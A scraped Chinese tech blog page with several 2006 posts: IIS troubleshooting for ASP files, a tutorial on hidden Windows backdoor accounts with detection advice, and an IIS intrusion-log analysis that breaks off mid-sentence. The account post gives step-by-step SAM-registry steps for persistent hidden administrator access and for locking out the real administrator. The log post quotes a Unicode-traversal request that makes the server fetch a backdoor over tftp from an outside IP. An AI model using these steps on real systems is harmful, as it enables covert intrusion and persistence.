你也可以用开源工具管理大量ping sweep、执行TCP/UDP协议扫描、操作系统探测。这样做的目的就是要了解,在那些外部访问者的眼中,你的网络系统的运行状况和一些基本的面 貌、特征。因此,你需要检验你的网络系统,哪些端口和服务对外部访问者是开放的或可用的,外部访问者是否可以了解到你所使用的操作系统和一些程序,极其版本信息。简言 之,就是要了解到你的网络系统究竟对那些外部访问者开放了哪些端口或服务,泄露了哪些站点的基本信息。

在你开始上述工作之前,你必须要先获得足够的授权,才能进入整个网络系统并对其进行考察、分析。千万不要将你了解到信息告知那些不怀好意的人。记住:安全防护是一个实施过程,而不仅仅是一种技术。

IIS突然不解析asp文件的处理步骤

0

分类 : 网站技术 | 发表时间 20-04-2006

原文出处:http://www.iisfaq.com/Default.aspx?tabid=3094
整理翻译:ajou

1.如果WEB站点目录下有Global.asa文件,改此文件文件名为Global.old.重启WEB服务,在记事本中写如下代码(原文中无代码,实际最简单的那种asp源码就行,译者注).文件另存为Test.asp于WEB根目录下.
如果asp文件能正常执行,问题就出在Global.asa上,如果依然不行,请转到第二步.
参阅如下微软知识库有关Global.asa文件出错的更多信息.

Q288245 PRB: Global.asa Does Not Fire from Personal Web Server on Windows 98
Q265275 FP2000: Global.asa Does Not Run in FrontPage Web
Q173742 FIX: Global.asa Is Not Executed If Restricting Web Access

2.将web站点的应用程序保护级别设置为”低”,重启IISAdmin服务.如果asp文件如此能正常执行,说明问题出在IWAM用户上,请跳到第三步继续.如果没有正常执行,请在管理工具中检查组件服务确保能看到IIS Packages,确保组件服务没有失败后,确认本地用户组中有如下用户存在:
NT AUTHORITY\Authenticated Users
NT AUTHORITY\INTERACTIVE
关于更多组件服务出错的信息,请参考入下知识文章:
Q301919 PRB: Cannot Expand ‘My Computer’ in Component Services MMC Snap-In
3.如果通过第二步asp文件能正常执行,将站点的应用程序保护级别设回”中”或”高”,将IWAM用户添加到本地管理员用户组中,如果通过这步,asp文件能正常执行,说明IWAM用户的访问许可权限就存在问题,请跳到第四步,如果asp文件还没正常执行,请在命令提示符中执行Synciwam.vbs 工具.
方法:打开命令提示符窗口敲入如下命令:
C:\Inetpub\adminscripts>cscript synciwam.vbs.
关于IWAM用户(设置不正确)导致asp文件不能正常执行,请参考入下知识库.
Q308622 HOW TO: Perform Administration Tasks in IIS from a Command Prompt
Q297989 PRB: Configured Identity Is Incorrect for IWAM Account
Q255770 PRB: Logon Failure: Unknown User Name or Bad Password When You Run Out-of-Process Webs
Q236007 Domain Controller Demotion Causes Out-of-Process Applications to Fail

4.解决IWAM用户许可权限的问题,请使用windows 2000的第三方产品:Regmon 和 Filemon.请在http://www.sysinternals.com中下载这些工具.
当你执行asp页面请求时运行这些工具, Dllhost.exe 进程在Regmon 中查找”ACCDENIED” (在Filemon中查找”FAILURE”).
注意:在IE进程出现”操作失败”时不要紧张,这只是普通现象.~~
关于IIS功能正常运作所需的最小条件,请参阅知识库:
Q271071 Minimum NTFS Permissions Required for IIS 5.0 to Work
在看到Dllhost.exe 进程”操作失败”的错误信息后,用Regedit32工具修改注册表里任何必须的NTFS许可权限(好像是病句,,汗…)

5.在装完IIS5.0后,从WEB 服务器控制台或其他网络上的工作站浏览asp或html文件,WEB服务可能返回如下错误信息:
HTTP 500 内部服务器错误.
默认的web服务可能处于运行状态,如果运行netstat -an 你可能注意到WEB服务器正监听TCP80端口,即HTTP的默认端口.
注意:如果在使用IE5.0(或以上版本,译者注),你可能屏蔽了IE高级选项中的显示友好HTTP错误信息选项,更多信息:请参考微软知识库:
Q218155 Description of Hypertext Transport Protocol Error Messages
下面的几条可能出现在装有IIS5.0机器的事件日志中:


Application Log: COM+ error with Event ID 4099
System Log: W3SVC error with Event ID 59
System Log: W3SVC warning with Event ID 36.
Iis5.log 文件(WINNT目录下)可能包含下面错误信息:
0x8004e00f=COM+ was unable to talk to the Microsoft Distributed Transaction Coordinator
你正试图打开com+管理者使用的组件服务,MMC停止响应.
原因
IIS5.0依赖与COM+,COM+依赖于Distributed Transaction Coordinator (DTC) 服务运行,DTC检查版本的机制(包括在windows 2000以前的SQL SERVER版本)不能识别Windows2000所用的版本属性,结果SQL SERVER的DTC安装程序移除了WINDOWS 2000安装的DTC服务,更多请查阅微软知识库:
Q249310 BUG: Installing SQL Server on Windows 2000 Uninstalls DTC Service
解决
如下步骤解决这个问题:
a.验证Dtcsetup.exe (默认在c:\Winnt\System32 下)是否为1999.9.3422.24 或以后版本号
b.运行Dtcsetup.exe 安装DTC服务
c.开始DTC服务
d.控制面板中,双击”添加删除程序”
e.选”添加删除Windows组件”,移除IIS5.0再重新安装.

现状
微软已经确认在SQL Server versions 6.5 和 7.0 and MSDE 1.0中这会是个问题
详细请参见文章:
http://support.microsoft.com/default.aspx?scid=kb;en-us;Q257267

6.最后一招:依照下面步骤自己创建IIS Packages
a.浏览组件服务删除下列包
a.IIS In-Process Applications
b.IIS Out-of-Process Pooled Applications
c.IIS Utilities
b.打开命令提示符,转到文件夹%windir%\system32\inetsrv,执行命令:
rundll32 wamreg.dll, CreateIISPackage
注意:CreateIISPackage是大小写敏感的,确人输入正确.
c.重新打开组件服务,你将看到IIS COM+应用已经重新创建了.
d.从命令提示符中运行IISRESTART再测试之前没有正确执行的任何asp文件.

隐藏系统账户技术揭密

0

分类 : 系统安全 | 发表时间 18-04-2006

当黑客入侵一台主机后,会想方设法保护自己的“劳动成果”,因此会在肉鸡上留下种种后门来长时间得控制肉鸡,其中使用最多的就是账户隐藏技术。在肉鸡上建立一个隐藏的账户,以备需要的时候使用。账户隐藏技术可谓是最隐蔽的后门,一般用户很难发现系统中隐藏账户的存在,因此危害性很大,本文就对隐藏账户这种黑客常用的技术进行揭密。

  在隐藏系统账户之前,我们有必要先来了解一下如何才能查看系统中已经存在的账户。在系统中可以进入“命令提示符”,控制面板的“计算机管理”,“注册表”中对存在的账户进行查看,而管理员一般只在“命令提示符”和“计算机管理”中检查是否有异常,因此如何让系统账户在这两者中隐藏将是本文的重点。

一、“命令提示符”中的阴谋

  其实,制作系统隐藏账户并不是十分高深的技术,利用我们平时经常用到的“命令提示符”就可以制作一个简单的隐藏账户。

   点击“开始”→“运行”,输入“CMD”运行“命令提示符”,输入“net user piao$ 123456 /add”,回车,成功后会显示“命令成功完成”。接着输入“net localgroup administrators piao$ /add”回车,这样我们就利用“命令提示符”成功得建立了一个用户名为“piao$”,密码为“123456”的简单“隐藏账户”,并且把该隐藏账户提升为了管理员权限。


  我们来看看隐藏账户的建立是否成功。在“命令提示符”中输入查看系统账户的命令“net user”,回车后会显示当前系统中存在的账户。从返回的结果中我们可以看到刚才我们建立的“piao$”这个账户并不存在。接着让我们进入控制面板的“管理工具”,打开其中的“计算机”,查看其中的“本地用户和组”,在“用户”一项中,我们建立的隐藏账户“piao$”暴露无疑。

   可以总结得出的结论是:这种方法只能将账户在“命令提示符”中进行隐藏,而对于“计算机管理”则无能为力。因此这种隐藏账户的方法并不是很实用,只对那些粗心的管理员有效,是一种入门级的系统账户隐藏技术。
二、在“注册表”中玩转账户隐藏
  从上文中我们可以看到用命令提示符隐藏账户的方法缺点很明显,很容易暴露自己。那么有没有可以在“命令提示符”和“计算机管理”中同时隐藏账户的技术呢?答案是肯定的,而这一切只需要我们在“注册表”中进行一番小小的设置,就可以让系统账户在两者中完全蒸发。

1、峰回路转,给管理员注册表操作权限

   在注册表中对系统账户的键值进行操作,需要到“HKEY_LOCAL_MACHINE\SAM\SAM”处进行修改,但是当我们来到该处时,会发现无法展开该处所在的键值。这是因为系统默认对系统管理员给予“写入D AC”和“读取控制”权限,没有给予修改权限,因此我们没有办法对“SAM”项下的键值进行查看和修改。不过我们可以借助系统中另一个“注册表编辑器”给管理员赋予修改权限。

   点击“开始”→“运行”,输入“regedt32.exe”后回车,随后会弹出另一个“注册表编辑器”,和我们平时使用的“注册表编辑器”不同的是它可以修改系统账户操作注册表时的权限(为便于理解,以下简称regedt32.exe)。在regedt32.exe中来到“HKEY_LOCAL_MACHINE\SAM\SAM”处,点击“安全”菜单→“权限”,在弹出的“SAM的权限”编辑窗口中选中“administrators”账户,在下方的权限设置处勾选“完全控制”,完成后点击“确定”即可。然后我们切换回“注册表编辑器”,可以发现“HKEY_LOCAL_MACHINE\SAM\SAM”下面的键值都可以展开了。


提示: 上文中提到的方法只适用于Windows NT/2000系统。在Windows XP系统中,对于权限的操作可以直接在注册表中进行,方法为选中需要设置权限的项,点击右键,选择“权限”即可。

2、偷梁换柱,将隐藏账户替换为管理员

  成功得到注册表操作权限后,我们就可以正式开始隐藏账户的制作了。来到注册表编辑器的“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”处,当前系统中所有存在的账户都会在这里显示,当然包括我们的隐藏账户。点击我们的隐藏账户“piao$”,在右边显示的键值中的“类型”一项显示为0x3e9,向上来到“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\”处,可以找到“000003E9”这一项,这两者是相互对应的,隐藏账户“piao$”的所有信息都在“000003E9”这一项中。同样的,我们可以找到“administrator”账户所对应的项为“000001F4”。

   将“piao$”的键值导出为piao$.reg,同时将“000003E9”和“000001F4”项的F键值分别导出为user.reg,admin.reg。用“记事本”打开admin.reg,将其中“F”值后面的内容复制下来,替换user.reg中的“F”值内容,完成后保存。接下来进入“命令提示符”,输入“net user piao$ /del”将我们建立的隐藏账户删除。最后,将piao$.reg和user.reg导入注册表,至此,隐藏账户制作完成。


3、过河拆桥,切断删除隐藏账户的途径

   虽然我们的隐藏账户已经在“命令提示符”和“计算机管理”中隐藏了,但是有经验的系统管理员仍可能通过注册表编辑器删除我们的隐藏账户,那么如何才能让我们的隐藏账户坚如磐石呢?

   打开“regedt32.exe”,来到“HKEY_LOCAL_MACHINE\SAM\SAM”处,设置“SAM”项的权限,将“administrators”所拥有的权限全部取消即可。当真正的管理员想对“HKEY_LOCAL_MACHINE\SAM\SAM”下面的项进行操作的时候将会发生错误,而且无法通过“regedt32.exe”再次赋予权限。这样没有经验的管理员即使发现了系统中的隐藏账户,也是无可奈何的。
三.专用工具,使账户隐藏一步到位
  虽然按照上面的方法可以很好得隐藏账户,但是操作显得比较麻烦,并不适合新手,而且对注册表进行操作危险性太高,很容易造成系统崩溃。因此我们可以借助专门的账户隐藏工具来进行隐藏工作,使隐藏账户不再困难,只需要一个命令就可以搞定。

   我们需要利用的这款工具名叫“HideAdmin”,下载下来后解压到c盘。然后运行“命令提示符”,输入“HideAdmin piao$ 123456”即可,如果显示“Create a hiden Administrator piao$ Successed!”,则表示我们已经成功建立一个账户名为piao$,密码为123456的隐藏账户。利用这款工具建立的账户隐藏效果和上文中修改注册表的效果是一样的。

四、把“隐藏账户”请出系统

  隐藏账户的危害可谓十分巨大。因此我们有必要在了解了账户隐藏技术后,再对相应的防范技术作一个了解,把隐藏账户彻底请出系统

1、添加“$”符号型隐藏账户

   对于这类隐藏账户的检测比较简单。一般黑客在利用这种方法建立完隐藏账户后,会把隐藏账户提升为管理员权限。那么我们只需要在“命令提示符”中输入“net localgroup administrators”就可以让所有的隐藏账户现形。如果嫌麻烦,可以直接打开“计算机管
理”进行查看,添加“$”符号的账户是无法在这里隐藏的。

2、修改注册表型隐藏账户

   由于使用这种方法隐藏的账户是不会在“命令提示符”和“计算机管理”中看到的,因此可以到注册表中删除隐藏账户。来到“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”,把这里存在的账户和“计算机管理”中存在的账户进行比较,多出来的账户就是隐藏账户了。想要删除它也很简单,直接删除以隐藏账户命名的项即可。

3、无法看到名称的隐藏账户

   如果黑客制作了一个修改注册表型隐藏账户,在此基础上删除了管理员对注册表的操作权限。那么管理员是无法通过注册表删除隐藏账户的,甚至无法知道黑客建立的隐藏账户名称。不过世事没有绝对,我们可以借助“组策略”的帮助,让黑客无法通过隐藏账户登陆。点击“开始”→“运行”,输入“gpedit.msc”运行“组策略”,依次展开“计算机配置”→“Windows 设置”→“安全设置”→“本地策略”→“审核策略”,双击右边的“审核策略更改”,在弹出的设置窗口中勾选“成功”,然后点“确定”。对“审核登陆事件”和“审核过程追踪”进行相同的设置。


  进行登陆审核后,可以对任何账户的登陆操作进行记录,包括隐藏账户,这样我们就可以通过“计算机管理”中的“事件查看器”准确得知隐藏账户的名称,甚至黑客登陆的时间。即使黑客将所有的登陆日志删除,系统还会记录是哪个账户删除了系统日志,这样黑客的隐藏账户就暴露无疑了。


  得知隐藏账户的名称后就好办了,但是我们仍然不能删除这个隐藏账户,因为我们没有权限。但是我们可以在“命令提示符”中输入“net user 隐藏账户名称 654321”更改这个隐藏账户的密码。这样这个隐藏账户就会失效,黑客无法再用这个隐藏账户登陆。

快速掌握典型入侵日志分析

0

分类 : 系统安全 | 发表时间 16-04-2006

如今各式各样的Windows漏洞层出不穷,五花八门的入侵工具更是令人眼花缭乱,稍微懂点网络知识的人都可以利用各种入侵工具进行入侵,这可给我们的网管带来了很大的麻烦,虽然经过精心配置的服务器可以抵御大部分入侵,但随着不断新出的漏洞,再高明的网管也不敢保证一台务器长时间不会被侵入,所以,安全配置服务器并不能永远阻止黑客入侵,而如何检测入侵者行动以保证服务器安全性就在这样的情况下显得非常重要。

  日志文件作为微软Windows系列操作系统中的一个特殊文件,在安全方面具有无可替代的价值。它每天为我们忠实地记录下系统所发生一切事件,利用它可以使系统管理员快速对潜在的系统入侵作出记录和预测,但遗憾的是目前绝大多数的人都忽略了它的存在,反而是因为黑客们光临才会使我们想起这个重要的系统日志文件,很有讽刺意味。

  在这里我们就不去讲什么日志文件的默认位置、常见备份方法等基本技巧了,这样的东西黑防以前讲得很清楚了,大家可以翻看黑防以前的杂志学习这些东西,我们今天来看看如何分析常见的日志文件吧!

  1.FTP日志分析

  FTP日志和WWW日志在默认情况下,每天生成一个日志文件,包含了该日的一切记录,文件名通常为ex(年份)(月份)(日期)。例如ex040419,就是2004年4月19日产生的日志,用记事本可直接打开,普通的有入侵行为的日志一般是这样的:

#Software: Microsoft Internet Information Services 5.0(微软IIS5.0)
#Version: 1.0 (版本1.0)
#Date: 20040419 0315 (服务启动时间日期)
#Fields: time cip csmethod csuristem scstatus
0315 127.0.0.1 [1]USER administator 331(IP地址为127.0.0.1用户名为administator试图登录)
0318 127.0.0.1 [1]PASS – 530(登录失败)
032:04 127.0.0.1 [1]USER nt 331(IP地址为127.0.0.1用户名为nt的用户试图登录)
032:06 127.0.0.1 [1]PASS – 530(登录失败)
032:09 127.0.0.1 [1]USER cyz 331(IP地址为127.0.0.1用户名为cyz的用户试图登录)
0322 127.0.0.1 [1]PASS – 530(登录失败)
0322 127.0.0.1 [1]USER administrator 331(IP地址为127.0.0.1用户名为administrator试图登录)
0324 127.0.0.1 [1]PASS – 230(登录成功)
0321 127.0.0.1 [1]MKD nt 550(新建目录失败)
0325 127.0.0.1 [1]QUIT – 550(退出FTP程序)

  从日志里就能看出IP地址为127.0.0.1的用户一直试图登录系统,换了四次用户名和密码才成功,管理员立即就可以得知这个IP至少有入侵企图!而他的入侵时间、IP地址以及探测的用户名都很清楚的记录在日志上。如上例入侵者最终是用Administrator用户名进入的,那么就要考虑此用户名是不是密码失窃?还是被别人利用?接下来就要想想系统出什么问题了。

  2.WWW日志分析

  WWW服务同FTP服务一样,产生的日志也是在%systemroot%\sys tem32\LogFiles\W3SVC1目录下,默认是每天一个日志文件。这里需要特别说明一下,因为Web的日志和其他日志不同,它的分析要细致得多,需要管理员有丰富的入侵、防护知识,并且要足够的细心,不然,很容易遗漏那种很简单的日志,而通常这样的日志又是非常关键的。由于我们不可能一个一个分析,所以这里举个简单例子:

#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 20040419 03:091
#Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent)
20040419 03:091 192.168.1.26 192.168.1.37 80 GET /iisstart.asp 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
20040419 03:094 192.168.1.26 192.168.1.37 80 GET /pagerror.gif 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)

  通过分析第六行,可以看出2004年5月19日,IP地址为192.168.1.26的用户通过访问IP地址为192.168.1.37机器的80端口,查看了一个页面iisstart.asp,这位用户的浏览器为compatible;+MSIE+5.0;+Windows+98+DigExt,有经验的管理员就可通过安全日志、FTP日志和WWW日志来确定入侵者的IP地址以及入侵时间。

  对现在非常常见的SQL注入式攻击,通过对put、get的检查,也可以大概判断是那个页面出了问题,从而修补。

  3.HTTPD事务日志的分析

  Microsoft的IIS 5自公布到现在,被黑客利用的漏洞多不胜数,像.ida/.idq、unicode、WebDavx3和一些未知的漏洞,我们分析日志的目的就是为了分析黑客入侵的行为,对于没有打好补丁包的系统被黑客成功入侵的日志记录分别对应如下。为了给大家介绍一个比较醒目的介绍,专门配置了个“古老”的服务器,用旧漏洞给大家做个演示,很容易触类旁通就懂其它了。

  (1)unicode漏洞入侵日志记录

  这个是个非常经典的漏洞了,要找这样的服务器估计得去国外慢慢找了,但是因为它的日志是最经典的一个,所以我们这里特别拿它来做个示范。

  我们打开IIS5的Web服务的日志文件,日志文件默认位置在%systemroot%\system32\LogFiles\文件夹下,如图1所示是一个典型的Unicode漏洞入侵行为的日志记录,对于正常的Web访问,是通过80端口用GET命令获取Web数据,但通过非法的字符编码可绕过字符验证而得到不应该得到的信息。但补上相应的补丁可堵上此漏洞。如图一所示。

  我们配合入侵来看下这样的记录:通过下面的编码我们在入侵的时候可以查看目标机的目录文件:

GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200

  则日志中会记录下此访问行为:

2004-04-19 08:47:47 192.168.0.1 – 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+dir 200 -

  看到了吗?我们的日志中记录地一清二楚,来自192.168.0.1的攻击者查看我们的目录。下面一行是向我们的机器传送后门程序的日志记录:

2004-04-19 08:47:47 192.168.0.1 – 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+tftp%20-i%2061.48.10.129%20GET%20cool.dll%20c:\httpodbc.dll
502 –

  看到了吧?记录非常详细的,系统里面那个程序在响应都记录了下来,这样我们分析入侵行为就好办了。

  (2)WebDavx3远程溢出日志记录

  过去一段时间有名的Wevdavx3漏洞是应用最广泛的,如果系统遭受了此远程溢出的攻击行为,则日志记录如图二所示。

2004-04-19 07:20:13 192.168.0.218 – 192.168.0.218 80 LOCK
/AAAAA……

  这表示我们的Web服务受到了来自192.168.0.218的攻击,并锁定(即关闭)了WEB服务,后面的一些乱码字符是在溢出攻击时使用的偏移位猜过程。

  上面的几种日杂都记录了有入侵行为的IP地址,但此IP地址说不定就是攻击者使用了跳板,也就是说此IP很可能是“肉鸡”而不是攻击者的IP,遇到这样的情况,我们再查看其他日志文件,还是有可能追查出攻击者的位置的,但这个就完全靠管理员的经验了。

  4.日志文件的移位保护

  通过上面的几个方法,大家应该可以检测普通的系统攻击了,但话说回来,如果上面的攻击任何一个成功了,那现在我们都看不到日志了,早被入侵者清空了,所以,为了防患于未然,我们还是针对常见的删除日志的方法,把日志挪挪吧。

  好多文章介绍对事件日

无觅相关文章插件,快速提升流量